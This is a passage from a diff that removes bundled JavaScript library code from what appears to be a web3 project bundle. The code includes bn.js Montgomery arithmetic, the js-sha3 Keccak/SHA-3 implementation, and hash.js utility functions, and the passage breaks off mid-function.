var r22 = this.imod(num.mul(this.rinv)); - r22.red = null; - return r22; - }; - Mont.prototype.imul = function imul(a, b) { - if (a.isZero() || b.isZero()) { - a.words[0] = 0; - a.length = 1; - return a; - } - var t = a.imul(b); - var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m); - var u = t.isub(c).iushrn(this.shift); - var res = u; - if (u.cmp(this.m) >= 0) { - res = u.isub(this.m); - } else if (u.cmpn(0) < 0) { - res = u.iadd(this.m); - } - return res._forceRed(this); - }; - Mont.prototype.mul = function mul32(a, b) { - if (a.isZero() || b.isZero()) - return new BN32(0)._forceRed(this); - var t = a.mul(b); - var c = t.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m); - var u = t.isub(c).iushrn(this.shift); - var res = u; - if (u.cmp(this.m) >= 0) { - res = u.isub(this.m); - } else if (u.cmpn(0) < 0) { - res = u.iadd(this.m); - } - return res._forceRed(this); - }; - Mont.prototype.invm = function invm(a) { - var res = this.imod(a._invmp(this.m).mul(this.r2)); - return res._forceRed(this); - }; - })(typeof module === "undefined" || module, exports); - } - }); - var require_sha3 = __commonJS2({ - "node_modules/js-sha3/src/sha3.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - (function() { - "use strict"; - var INPUT_ERROR = "input is invalid type"; - var FINALIZE_ERROR = "finalize already called"; - var WINDOW = typeof window === "object"; - var root = WINDOW ? window : {}; - if (root.JS_SHA3_NO_WINDOW) { - WINDOW = false; - } - var WEB_WORKER = !WINDOW && typeof self === "object"; - var NODE_JS = !root.JS_SHA3_NO_NODE_JS && typeof process === "object" && process.versions && process.versions.node; - if (NODE_JS) { - root = global; - } else if (WEB_WORKER) { - root = self; - } - var COMMON_JS = !root.JS_SHA3_NO_COMMON_JS && typeof module === "object" && module.exports; - var AMD = typeof define === "function" && define.amd; - var ARRAY_BUFFER = !root.JS_SHA3_NO_ARRAY_BUFFER && typeof ArrayBuffer !== "undefined"; - var HEX_CHARS = "0123456789abcdef".split(""); - var SHAKE_PADDING = [31, 7936, 2031616, 520093696]; - var CSHAKE_PADDING = [4, 1024, 262144, 67108864]; - var KECCAK_PADDING = [1, 256, 65536, 16777216]; - var PADDING = [6, 1536, 393216, 100663296]; - var SHIFT = [0, 8, 16, 24]; - var RC = [ - 1, - 0, - 32898, - 0, - 32906, - 2147483648, - 2147516416, - 2147483648, - 32907, - 0, - 2147483649, - 0, - 2147516545, - 2147483648, - 32777, - 2147483648, - 138, - 0, - 136, - 0, - 2147516425, - 0, - 2147483658, - 0, - 2147516555, - 0, - 139, - 2147483648, - 32905, - 2147483648, - 32771, - 2147483648, - 32770, - 2147483648, - 128, - 2147483648, - 32778, - 0, - 2147483658, - 2147483648, - 2147516545, - 2147483648, - 32896, - 2147483648, - 2147483649, - 0, - 2147516424, - 2147483648 - ]; - var BITS = [224, 256, 384, 512]; - var SHAKE_BITS = [128, 256]; - var OUTPUT_TYPES = ["hex", "buffer", "arrayBuffer", "array", "digest"]; - var CSHAKE_BYTEPAD = { - "128": 168, - "256": 136 - }; - if (root.JS_SHA3_NO_NODE_JS || !Array.isArray) { - Array.isArray = function(obj) { - return Object.prototype.toString.call(obj) === "[object Array]"; - }; - } - if (ARRAY_BUFFER && (root.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW || !ArrayBuffer.isView)) { - ArrayBuffer.isView = function(obj) { - return typeof obj === "object" && obj.buffer && obj.buffer.constructor === ArrayBuffer; - }; - } - var createOutputMethod = function(bits2, padding22, outputType) { - return function(message) { - return new Keccak(bits2, padding22, bits2).update(message)[outputType](); - }; - }; - var createShakeOutputMethod = function(bits2, padding22, outputType) { - return function(message, outputBits) { - return new Keccak(bits2, padding22, outputBits).update(message)[outputType](); - }; - }; - var createCshakeOutputMethod = function(bits2, padding22, outputType) { - return function(message, outputBits, n, s) { - return methods["cshake" + bits2].update(message, outputBits, n, s)[outputType](); - }; - }; - var createKmacOutputMethod = function(bits2, padding22, outputType) { - return function(key22, message, outputBits, s) { - return methods["kmac" + bits2].update(key22, message, outputBits, s)[outputType](); - }; - }; - var createOutputMethods = function(method, createMethod2, bits2, padding22) { - for (var i2 = 0; i2 < OUTPUT_TYPES.length; ++i2) { - var type = OUTPUT_TYPES[i2]; - method[type] = createMethod2(bits2, padding22, type); - } - return method; - }; - var createMethod = function(bits2, padding22) { - var method = createOutputMethod(bits2, padding22, "hex"); - method.create = function() { - return new Keccak(bits2, padding22, bits2); - }; - method.update = function(message) { - return method.create().update(message); - }; - return createOutputMethods(method, createOutputMethod, bits2, padding22); - }; - var createShakeMethod = function(bits2, padding22) { - var method = createShakeOutputMethod(bits2, padding22, "hex"); - method.create = function(outputBits) { - return new Keccak(bits2, padding22, outputBits); - }; - method.update = function(message, outputBits) { - return method.create(outputBits).update(message); - }; - return createOutputMethods(method, createShakeOutputMethod, bits2, padding22); - }; - var createCshakeMethod = function(bits2, padding22) { - var w = CSHAKE_BYTEPAD[bits2]; - var method = createCshakeOutputMethod(bits2, padding22, "hex"); - method.create = function(outputBits, n, s) { - if (!n && !s) { - return methods["shake" + bits2].create(outputBits); - } else { - return new Keccak(bits2, padding22, outputBits).bytepad([n, s], w); - } - }; - method.update = function(message, outputBits, n, s) { - return method.create(outputBits, n, s).update(message); - }; - return createOutputMethods(method, createCshakeOutputMethod, bits2, padding22); - }; - var createKmacMethod = function(bits2, padding22) { - var w = CSHAKE_BYTEPAD[bits2]; - var method = createKmacOutputMethod(bits2, padding22, "hex"); - method.create = function(key22, outputBits, s) { - return new Kmac(bits2, padding22, outputBits).bytepad(["KMAC", s], w).bytepad([key22], w); - }; - method.update = function(key22, message, outputBits, s) { - return method.create(key22, outputBits, s).update(message); - }; - return createOutputMethods(method, createKmacOutputMethod, bits2, padding22); - }; - var algorithms = [ - { name: "keccak", padding: KECCAK_PADDING, bits: BITS, createMethod }, - { name: "sha3", padding: PADDING, bits: BITS, createMethod }, - { name: "shake", padding: SHAKE_PADDING, bits: SHAKE_BITS, createMethod: createShakeMethod }, - { name: "cshake", padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createCshakeMethod }, - { name: "kmac", padding: CSHAKE_PADDING, bits: SHAKE_BITS, createMethod: createKmacMethod } - ]; - var methods = {}, methodNames = []; - for (var i = 0; i < algorithms.length; ++i) { - var algorithm = algorithms[i]; - var bits = algorithm.bits; - for (var j = 0; j < bits.length; ++j) { - var methodName = algorithm.name + "_" + bits[j]; - methodNames.push(methodName); - methods[methodName] = algorithm.createMethod(bits[j], algorithm.padding); - if (algorithm.name !== "sha3") { - var newMethodName = algorithm.name + bits[j]; - methodNames.push(newMethodName); - methods[newMethodName] = methods[methodName]; - } - } - } - function Keccak(bits2, padding22, outputBits) { - this.blocks = []; - this.s = []; - this.padding = padding22; - this.outputBits = outputBits; - this.reset = true; - this.finalized = false; - this.block = 0; - this.start = 0; - this.blockCount = 1600 - (bits2 << 1) >> 5; - this.byteCount = this.blockCount << 2; - this.outputBlocks = outputBits >> 5; - this.extraBytes = (outputBits & 31) >> 3; - for (var i2 = 0; i2 < 50; ++i2) { - this.s[i2] = 0; - } - } - Keccak.prototype.update = function(message) { - if (this.finalized) { - throw new Error(FINALIZE_ERROR); - } - var notString, type = typeof message; - if (type !== "string") { - if (type === "object") { - if (message === null) { - throw new Error(INPUT_ERROR); - } else if (ARRAY_BUFFER && message.constructor === ArrayBuffer) { - message = new Uint8Array(message); - } else if (!Array.isArray(message)) { - if (!ARRAY_BUFFER || !ArrayBuffer.isView(message)) { - throw new Error(INPUT_ERROR); - } - } - } else { - throw new Error(INPUT_ERROR); - } - notString = true; - } - var blocks = this.blocks, byteCount = this.byteCount, length = message.length, blockCount = this.blockCount, index2 = 0, s = this.s, i2, code; - while (index2 < length) { - if (this.reset) { - this.reset = false; - blocks[0] = this.block; - for (i2 = 1; i2 < blockCount + 1; ++i2) { - blocks[i2] = 0; - } - } - if (notString) { - for (i2 = this.start; index2 < length && i2 < byteCount; ++index2) { - blocks[i2 >> 2] |= message[index2] << SHIFT[i2++ & 3]; - } - } else { - for (i2 = this.start; index2 < length && i2 < byteCount; ++index2) { - code = message.charCodeAt(index2); - if (code < 128) { - blocks[i2 >> 2] |= code << SHIFT[i2++ & 3]; - } else if (code < 2048) { - blocks[i2 >> 2] |= (192 | code >> 6) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3]; - } else if (code < 55296 || code >= 57344) { - blocks[i2 >> 2] |= (224 | code >> 12) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code >> 6 & 63) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3]; - } else { - code = 65536 + ((code & 1023) << 10 | message.charCodeAt(++index2) & 1023); - blocks[i2 >> 2] |= (240 | code >> 18) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code >> 12 & 63) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code >> 6 & 63) << SHIFT[i2++ & 3]; - blocks[i2 >> 2] |= (128 | code & 63) << SHIFT[i2++ & 3]; - } - } - } - this.lastByteIndex = i2; - if (i2 >= byteCount) { - this.start = i2 - byteCount; - this.block = blocks[blockCount]; - for (i2 = 0; i2 < blockCount; ++i2) { - s[i2] ^= blocks[i2]; - } - f(s); - this.reset = true; - } else { - this.start = i2; - } - } - return this; - }; - Keccak.prototype.encode = function(x, right) { - var o = x & 255, n = 1; - var bytes = [o]; - x = x >> 8; - o = x & 255; - while (o > 0) { - bytes.unshift(o); - x = x >> 8; - o = x & 255; - ++n; - } - if (right) { - bytes.push(n); - } else { - bytes.unshift(n); - } - this.update(bytes); - return bytes.length; - }; - Keccak.prototype.encodeString = function(str) { - var notString, type = typeof str; - if (type !== "string") { - if (type === "object") { - if (str === null) { - throw new Error(INPUT_ERROR); - } else if (ARRAY_BUFFER && str.constructor === ArrayBuffer) { - str = new Uint8Array(str); - } else if (!Array.isArray(str)) { - if (!ARRAY_BUFFER || !ArrayBuffer.isView(str)) { - throw new Error(INPUT_ERROR); - } - } - } else { - throw new Error(INPUT_ERROR); - } - notString = true; - } - var bytes = 0, length = str.length; - if (notString) { - bytes = length; - } else { - for (var i2 = 0; i2 < str.length; ++i2) { - var code = str.charCodeAt(i2); - if (code < 128) { - bytes += 1; - } else if (code < 2048) { - bytes += 2; - } else if (code < 55296 || code >= 57344) { - bytes += 3; - } else { - code = 65536 + ((code & 1023) << 10 | str.charCodeAt(++i2) & 1023); - bytes += 4; - } - } - } - bytes += this.encode(bytes * 8); - this.update(str); - return bytes; - }; - Keccak.prototype.bytepad = function(strs, w) { - var bytes = this.encode(w); - for (var i2 = 0; i2 < strs.length; ++i2) { - bytes += this.encodeString(strs[i2]); - } - var paddingBytes = w - bytes % w; - var zeros2 = []; - zeros2.length = paddingBytes; - this.update(zeros2); - return this; - }; - Keccak.prototype.finalize = function() { - if (this.finalized) { - return; - } - this.finalized = true; - var blocks = this.blocks, i2 = this.lastByteIndex, blockCount = this.blockCount, s = this.s; - blocks[i2 >> 2] |= this.padding[i2 & 3]; - if (this.lastByteIndex === this.byteCount) { - blocks[0] = blocks[blockCount]; - for (i2 = 1; i2 < blockCount + 1; ++i2) { - blocks[i2] = 0; - } - } - blocks[blockCount - 1] |= 2147483648; - for (i2 = 0; i2 < blockCount; ++i2) { - s[i2] ^= blocks[i2]; - } - f(s); - }; - Keccak.prototype.toString = Keccak.prototype.hex = function() { - this.finalize(); - var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0; - var hex = "", block; - while (j2 < outputBlocks) { - for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) { - block = s[i2]; - hex += HEX_CHARS[block >> 4 & 15] + HEX_CHARS[block & 15] + HEX_CHARS[block >> 12 & 15] + HEX_CHARS[block >> 8 & 15] + HEX_CHARS[block >> 20 & 15] + HEX_CHARS[block >> 16 & 15] + HEX_CHARS[block >> 28 & 15] + HEX_CHARS[block >> 24 & 15]; - } - if (j2 % blockCount === 0) { - f(s); - i2 = 0; - } - } - if (extraBytes) { - block = s[i2]; - hex += HEX_CHARS[block >> 4 & 15] + HEX_CHARS[block & 15]; - if (extraBytes > 1) { - hex += HEX_CHARS[block >> 12 & 15] + HEX_CHARS[block >> 8 & 15]; - } - if (extraBytes > 2) { - hex += HEX_CHARS[block >> 20 & 15] + HEX_CHARS[block >> 16 & 15]; - } - } - return hex; - }; - Keccak.prototype.arrayBuffer = function() { - this.finalize(); - var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0; - var bytes = this.outputBits >> 3; - var buffer; - if (extraBytes) { - buffer = new ArrayBuffer(outputBlocks + 1 << 2); - } else { - buffer = new ArrayBuffer(bytes); - } - var array = new Uint32Array(buffer); - while (j2 < outputBlocks) { - for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) { - array[j2] = s[i2]; - } - if (j2 % blockCount === 0) { - f(s); - } - } - if (extraBytes) { - array[i2] = s[i2]; - buffer = buffer.slice(0, bytes); - } - return buffer; - }; - Keccak.prototype.buffer = Keccak.prototype.arrayBuffer; - Keccak.prototype.digest = Keccak.prototype.array = function() { - this.finalize(); - var blockCount = this.blockCount, s = this.s, outputBlocks = this.outputBlocks, extraBytes = this.extraBytes, i2 = 0, j2 = 0; - var array = [], offset, block; - while (j2 < outputBlocks) { - for (i2 = 0; i2 < blockCount && j2 < outputBlocks; ++i2, ++j2) { - offset = j2 << 2; - block = s[i2]; - array[offset] = block & 255; - array[offset + 1] = block >> 8 & 255; - array[offset + 2] = block >> 16 & 255; - array[offset + 3] = block >> 24 & 255; - } - if (j2 % blockCount === 0) { - f(s); - } - } - if (extraBytes) { - offset = j2 << 2; - block = s[i2]; - array[offset] = block & 255; - if (extraBytes > 1) { - array[offset + 1] = block >> 8 & 255; - } - if (extraBytes > 2) { - array[offset + 2] = block >> 16 & 255; - } - } - return array; - }; - function Kmac(bits2, padding22, outputBits) { - Keccak.call(this, bits2, padding22, outputBits); - } - Kmac.prototype = new Keccak(); - Kmac.prototype.finalize = function() { - this.encode(this.outputBits, true); - return Keccak.prototype.finalize.call(this); - }; - var f = function(s) { - var h, l, n, c0, c1, c2, c3, c4, c5, c6, c7, c8, c9, b0, b1, b2, b3, b4, b5, b6, b7, b8, b9, b10, b11, b12, b13, b14, b15, b16, b17, b18, b19, b20, b21, b22, b23, b24, b25, b26, b27, b28, b29, b30, b31, b32, b33, b34, b35, b36, b37, b38, b39, b40, b41, b42, b43, b44, b45, b46, b47, b48, b49; - for (n = 0; n < 48; n += 2) { - c0 = s[0] ^ s[10] ^ s[20] ^ s[30] ^ s[40]; - c1 = s[1] ^ s[11] ^ s[21] ^ s[31] ^ s[41]; - c2 = s[2] ^ s[12] ^ s[22] ^ s[32] ^ s[42]; - c3 = s[3] ^ s[13] ^ s[23] ^ s[33] ^ s[43]; - c4 = s[4] ^ s[14] ^ s[24] ^ s[34] ^ s[44]; - c5 = s[5] ^ s[15] ^ s[25] ^ s[35] ^ s[45]; - c6 = s[6] ^ s[16] ^ s[26] ^ s[36] ^ s[46]; - c7 = s[7] ^ s[17] ^ s[27] ^ s[37] ^ s[47]; - c8 = s[8] ^ s[18] ^ s[28] ^ s[38] ^ s[48]; - c9 = s[9] ^ s[19] ^ s[29] ^ s[39] ^ s[49]; - h = c8 ^ (c2 << 1 | c3 >>> 31); - l = c9 ^ (c3 << 1 | c2 >>> 31); - s[0] ^= h; - s[1] ^= l; - s[10] ^= h; - s[11] ^= l; - s[20] ^= h; - s[21] ^= l; - s[30] ^= h; - s[31] ^= l; - s[40] ^= h; - s[41] ^= l; - h = c0 ^ (c4 << 1 | c5 >>> 31); - l = c1 ^ (c5 << 1 | c4 >>> 31); - s[2] ^= h; - s[3] ^= l; - s[12] ^= h; - s[13] ^= l; - s[22] ^= h; - s[23] ^= l; - s[32] ^= h; - s[33] ^= l; - s[42] ^= h; - s[43] ^= l; - h = c2 ^ (c6 << 1 | c7 >>> 31); - l = c3 ^ (c7 << 1 | c6 >>> 31); - s[4] ^= h; - s[5] ^= l; - s[14] ^= h; - s[15] ^= l; - s[24] ^= h; - s[25] ^= l; - s[34] ^= h; - s[35] ^= l; - s[44] ^= h; - s[45] ^= l; - h = c4 ^ (c8 << 1 | c9 >>> 31); - l = c5 ^ (c9 << 1 | c8 >>> 31); - s[6] ^= h; - s[7] ^= l; - s[16] ^= h; - s[17] ^= l; - s[26] ^= h; - s[27] ^= l; - s[36] ^= h; - s[37] ^= l; - s[46] ^= h; - s[47] ^= l; - h = c6 ^ (c0 << 1 | c1 >>> 31); - l = c7 ^ (c1 << 1 | c0 >>> 31); - s[8] ^= h; - s[9] ^= l; - s[18] ^= h; - s[19] ^= l; - s[28] ^= h; - s[29] ^= l; - s[38] ^= h; - s[39] ^= l; - s[48] ^= h; - s[49] ^= l; - b0 = s[0]; - b1 = s[1]; - b32 = s[11] << 4 | s[10] >>> 28; - b33 = s[10] << 4 | s[11] >>> 28; - b14 = s[20] << 3 | s[21] >>> 29; - b15 = s[21] << 3 | s[20] >>> 29; - b46 = s[31] << 9 | s[30] >>> 23; - b47 = s[30] << 9 | s[31] >>> 23; - b28 = s[40] << 18 | s[41] >>> 14; - b29 = s[41] << 18 | s[40] >>> 14; - b20 = s[2] << 1 | s[3] >>> 31; - b21 = s[3] << 1 | s[2] >>> 31; - b2 = s[13] << 12 | s[12] >>> 20; - b3 = s[12] << 12 | s[13] >>> 20; - b34 = s[22] << 10 | s[23] >>> 22; - b35 = s[23] << 10 | s[22] >>> 22; - b16 = s[33] << 13 | s[32] >>> 19; - b17 = s[32] << 13 | s[33] >>> 19; - b48 = s[42] << 2 | s[43] >>> 30; - b49 = s[43] << 2 | s[42] >>> 30; - b40 = s[5] << 30 | s[4] >>> 2; - b41 = s[4] << 30 | s[5] >>> 2; - b22 = s[14] << 6 | s[15] >>> 26; - b23 = s[15] << 6 | s[14] >>> 26; - b4 = s[25] << 11 | s[24] >>> 21; - b5 = s[24] << 11 | s[25] >>> 21; - b36 = s[34] << 15 | s[35] >>> 17; - b37 = s[35] << 15 | s[34] >>> 17; - b18 = s[45] << 29 | s[44] >>> 3; - b19 = s[44] << 29 | s[45] >>> 3; - b10 = s[6] << 28 | s[7] >>> 4; - b11 = s[7] << 28 | s[6] >>> 4; - b42 = s[17] << 23 | s[16] >>> 9; - b43 = s[16] << 23 | s[17] >>> 9; - b24 = s[26] << 25 | s[27] >>> 7; - b25 = s[27] << 25 | s[26] >>> 7; - b6 = s[36] << 21 | s[37] >>> 11; - b7 = s[37] << 21 | s[36] >>> 11; - b38 = s[47] << 24 | s[46] >>> 8; - b39 = s[46] << 24 | s[47] >>> 8; - b30 = s[8] << 27 | s[9] >>> 5; - b31 = s[9] << 27 | s[8] >>> 5; - b12 = s[18] << 20 | s[19] >>> 12; - b13 = s[19] << 20 | s[18] >>> 12; - b44 = s[29] << 7 | s[28] >>> 25; - b45 = s[28] << 7 | s[29] >>> 25; - b26 = s[38] << 8 | s[39] >>> 24; - b27 = s[39] << 8 | s[38] >>> 24; - b8 = s[48] << 14 | s[49] >>> 18; - b9 = s[49] << 14 | s[48] >>> 18; - s[0] = b0 ^ ~b2 & b4; - s[1] = b1 ^ ~b3 & b5; - s[10] = b10 ^ ~b12 & b14; - s[11] = b11 ^ ~b13 & b15; - s[20] = b20 ^ ~b22 & b24; - s[21] = b21 ^ ~b23 & b25; - s[30] = b30 ^ ~b32 & b34; - s[31] = b31 ^ ~b33 & b35; - s[40] = b40 ^ ~b42 & b44; - s[41] = b41 ^ ~b43 & b45; - s[2] = b2 ^ ~b4 & b6; - s[3] = b3 ^ ~b5 & b7; - s[12] = b12 ^ ~b14 & b16; - s[13] = b13 ^ ~b15 & b17; - s[22] = b22 ^ ~b24 & b26; - s[23] = b23 ^ ~b25 & b27; - s[32] = b32 ^ ~b34 & b36; - s[33] = b33 ^ ~b35 & b37; - s[42] = b42 ^ ~b44 & b46; - s[43] = b43 ^ ~b45 & b47; - s[4] = b4 ^ ~b6 & b8; - s[5] = b5 ^ ~b7 & b9; - s[14] = b14 ^ ~b16 & b18; - s[15] = b15 ^ ~b17 & b19; - s[24] = b24 ^ ~b26 & b28; - s[25] = b25 ^ ~b27 & b29; - s[34] = b34 ^ ~b36 & b38; - s[35] = b35 ^ ~b37 & b39; - s[44] = b44 ^ ~b46 & b48; - s[45] = b45 ^ ~b47 & b49; - s[6] = b6 ^ ~b8 & b0; - s[7] = b7 ^ ~b9 & b1; - s[16] = b16 ^ ~b18 & b10; - s[17] = b17 ^ ~b19 & b11; - s[26] = b26 ^ ~b28 & b20; - s[27] = b27 ^ ~b29 & b21; - s[36] = b36 ^ ~b38 & b30; - s[37] = b37 ^ ~b39 & b31; - s[46] = b46 ^ ~b48 & b40; - s[47] = b47 ^ ~b49 & b41; - s[8] = b8 ^ ~b0 & b2; - s[9] = b9 ^ ~b1 & b3; - s[18] = b18 ^ ~b10 & b12; - s[19] = b19 ^ ~b11 & b13; - s[28] = b28 ^ ~b20 & b22; - s[29] = b29 ^ ~b21 & b23; - s[38] = b38 ^ ~b30 & b32; - s[39] = b39 ^ ~b31 & b33; - s[48] = b48 ^ ~b40 & b42; - s[49] = b49 ^ ~b41 & b43; - s[0] ^= RC[n]; - s[1] ^= RC[n + 1]; - } - }; - if (COMMON_JS) { - module.exports = methods; - } else { - for (i = 0; i < methodNames.length; ++i) { - root[methodNames[i]] = methods[methodNames[i]]; - } - if (AMD) { - define(function() { - return methods; - }); - } - } - })(); - } - }); - var require_minimalistic_assert = __commonJS2({ - "node_modules/minimalistic-assert/index.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - module.exports = assert22; - function assert22(val, msg) { - if (!val) - throw new Error(msg || "Assertion failed"); - } - assert22.equal = function assertEqual22(l, r22, msg) { - if (l != r22) - throw new Error(msg || "Assertion failed: " + l + " != " + r22); - }; - } - }); - var require_inherits_browser = __commonJS2({ - "node_modules/inherits/inherits_browser.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - if (typeof Object.create === "function") { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - ctor.prototype = Object.create(superCtor.prototype, { - constructor: { - value: ctor, - enumerable: false, - writable: true, - configurable: true - } - }); - } - }; - } else { - module.exports = function inherits2(ctor, superCtor) { - if (superCtor) { - ctor.super_ = superCtor; - var TempCtor = function() { - }; - TempCtor.prototype = superCtor.prototype; - ctor.prototype = new TempCtor(); - ctor.prototype.constructor = ctor; - } - }; - } - } - }); - var require_utils = __commonJS2({ - "node_modules/hash.js/lib/hash/utils.js"(exports) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var assert22 = require_minimalistic_assert(); - var inherits2 = require_inherits_browser(); - exports.inherits = inherits2; - function isSurrogatePair(msg, i) { - if ((msg.charCodeAt(i) & 64512) !== 55296) { - return false; - } - if (i < 0 || i + 1 >= msg.length) { - return false; - } - return (msg.charCodeAt(i + 1) & 64512) === 56320; - } - function toArray22(msg, enc) { - if (Array.isArray(msg)) - return msg.slice(); - if (!msg) - return []; - var res = []; - if (typeof msg === "string") { - if (!enc) { - var p = 0; - for (var i = 0; i < msg.length; i++) { - var c = msg.charCodeAt(i); - if (c < 128) { - res[p++] = c; - } else if (c < 2048) { - res[p++] = c >> 6 | 192; - res[p++] = c & 63 | 128; - } else if (isSurrogatePair(msg, i)) { - c = 65536 + ((c & 1023) << 10) + (msg.charCodeAt(++i) & 1023); - res[p++] = c >> 18 | 240; - res[p++] = c >> 12 & 63 | 128; - res[p++] = c >> 6 & 63 | 128; - res[p++] = c & 63 | 128; - } else { - res[p++] = c >> 12 | 224; - res[p++] = c >> 6 & 63 | 128; - res[p++] = c & 63 | 128; - } - } - } else if (enc === "hex") { - msg = msg.replace(/[^a-z0-9]+/ig, ""); - if (msg.length % 2 !== 0) - msg = "0" + msg; - for (i = 0; i < msg.length; i += 2) - res.push(parseInt(msg[i] + msg[i + 1], 16)); - } - } else { - for (i = 0; i < msg.length; i++) - res[i] = msg[i] | 0; - } - return res; - } - exports.toArray = toArray22; - function toHex22(msg) { - var res = ""; - for (var i = 0; i < msg.length; i++) - res += zero2(msg[i].toString(16)); - return res; - } - exports.toHex = toHex22; - function htonl(w) { - var res = w >>> 24 | w >>> 8 & 65280 | w << 8 & 16711680 | (w & 255) << 24; - return res >>> 0; - } - exports.htonl = htonl; - function toHex32(msg, endian) { - var res = ""; - for (var i = 0; i < msg.length; i++) { - var w = msg[i]; - if (endian === "little") - w = htonl(w); - res += zero8(w.toString(16)); - } - return res; - } - exports.toHex32 = toHex32; - function zero2(word) { - if (word.length === 1) - return "0" + word; - else - return word; - } - exports.zero2 = zero2; - function zero8(word) { - if (word.length === 7) - return "0" + word; - else if (word.length === 6) - return "00" + word; - else if (word.length === 5) - return "000" + word; - else if (word.length === 4) - return "0000" + word; - else if (word.length === 3) - return "00000" + word; - else if (word.length === 2) - return "000000" + word; - else if (word.length === 1) - return "0000000" + word; - else - return word; - } - exports.zero8 = zero8; - function join32(msg, start, end, endian) { - var len = end - start; - assert22(len % 4 === 0); - var res = new Array(len / 4); - for (var i = 0, k = start; i < res.length; i++, k += 4) { - var w; - if (endian === "big") - w = msg[k] << 24 | msg[k + 1] << 16 | msg[k + 2] << 8 | msg[k + 3]; - else - w = msg[k + 3] << 24 | msg[k + 2] << 16 | msg[k + 1] << 8 | msg[k]; - res[i] = w >>> 0; - } - return res; - } - exports.join32 = join32; - function split32(msg, endian) { - var res = new Array(msg.length * 4); - for (var i = 0, k = 0; i < msg.length; i++, k += 4) { - var m = msg[i]; - if (endian === "big") { - res[k] = m >>> 24; - res[k + 1] = m >>> 16 & 255; - res[k + 2] = m >>> 8 & 255; - res[k + 3] = m & 255; - } else { - res[k + 3] = m >>> 24; - res[k + 2] = m >>> 16 & 255; - res[k + 1] = m >>> 8 & 255; - res[k] = m & 255; - } - } - return res; - } - exports.split32 = split32; - function rotr32(w, b) { - return w >>> b | w << 32 - b; - } - exports.rotr32 = rotr32; - function rotl32(w, b) { - return w << b | w >>> 32 - b; - } - exports.rotl32 = rotl32; - function sum32(a, b) { - return a + b >>> 0; - } - exports.sum32 = sum32; - function sum32_3(a, b, c) { - return a + b + c >>> 0; - } - exports.sum32_3 = sum32_3; - function sum32_4(a, b, c, d) { - return a + b + c + d >>> 0; - } - exports.sum32_4 = sum32_4; - function sum32_5(a, b, c, d, e) { - return a + b + c + d + e >>> 0; - } - exports.sum32_5 = sum32_5; - function sum64(buf, pos, ah, al) { - var bh = buf[pos]; - var bl = buf[pos + 1]; - var lo = al + bl >>> 0; - var hi = (lo < al ? 1 : 0) + ah + bh; - buf[pos] = hi >>> 0; - buf[pos + 1] = lo; - } - exports.sum64 = sum64; - function sum64_hi(ah, al, bh, bl) { - var lo = al + bl >>> 0; - var hi = (lo < al ? 1 : 0) + ah + bh; - return hi >>> 0; - } - exports.sum64_hi = sum64_hi; - function sum64_lo(ah, al, bh, bl) { - var lo = al + bl; - return lo >>> 0; - } - exports.sum64_lo = sum64_lo; - function sum64_4_hi(ah, al, bh, bl, ch, cl, dh, dl) { - var carry = 0; - var lo = al; - lo = lo + bl >>> 0; - carry += lo < al ? 1 : 0; - lo = lo + cl >>> 0; - carry += lo < cl ? 1 : 0; - lo = lo + dl >>> 0; - carry += lo < dl ? 1 : 0; - var hi = ah + bh + ch + dh + carry; - return hi >>> 0; - } - exports.sum64_4_hi = sum64_4_hi; - function sum64_4_lo(ah, al, bh, bl, ch, cl, dh, dl) { - var lo = al + bl + cl + dl; - return lo >>> 0; - } - exports.sum64_4_lo = sum64_4_lo; - function sum64_5_hi(ah, al, bh, bl, ch, cl, dh, dl, eh, el) { - var carry = 0; - var lo = al; - lo = lo + bl >>> 0; - carry += lo < al ? 1 : 0; - lo = lo + cl >>> 0; - carry += lo < cl ? 1 : 0; - lo = lo + dl >>> 0; - carry += lo < dl ? 1 : 0; - lo = lo + el >>> 0; - carry += lo < el ? 1 : 0; - var hi = ah + bh + ch + dh + eh + carry; - return hi >>> 0; - } - exports.sum64_5_hi = sum64_5_hi; - function sum64_5_lo(ah, al, bh, bl, ch, cl, dh, dl, eh, el) { - var lo = al + bl + cl + dl + el; - return lo >>> 0; - } - exports.sum64_5_lo = sum64_5_lo; - function rotr64_hi(ah, al, num) { - var r22 = al << 32 - num | ah >>> num; - return r22 >>> 0; - } - exports.rotr64_hi = rotr64_hi; - function rotr64_lo(ah, al, num) { - var r22 = ah << 32 - num | al >>> num; - return r22 >>> 0; - } - exports.rotr64_lo = rotr64_lo; - function shr64_hi(ah, al, num) { - return ah >>> num; - } - exports.shr64_hi = shr64_hi; - function shr64_lo(ah, al, num) { - var r22 = ah << 32 - num | al >>> num; - return r22 >>> 0; - } - exports.shr64_lo = shr64_lo; - } - }); - var require_common = __commonJS2({ - "node_modules/hash.js/lib/hash/common.js"(exports) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - var utils = require_utils(); - var assert22 = require_minimalistic_assert(); - function BlockHash() { - this.pending = null; - this.pendingTotal = 0; - this.blockSize = this.constructor.blockSize; - this.outSize = this.constructor.outSize; - this.hmacStrength = this.constructor.hmacStrength; - this.padLength = this.constructor.padLength / 8; - this.endian = "big"; - this._delta8 = this.blockSize / 8; - this._delta32 = this.blockSize / 32; - } - exports.BlockHash = BlockHash; - BlockHash.prototype.update = function update22(msg, enc) { - msg = utils.toArray(msg, enc); - if 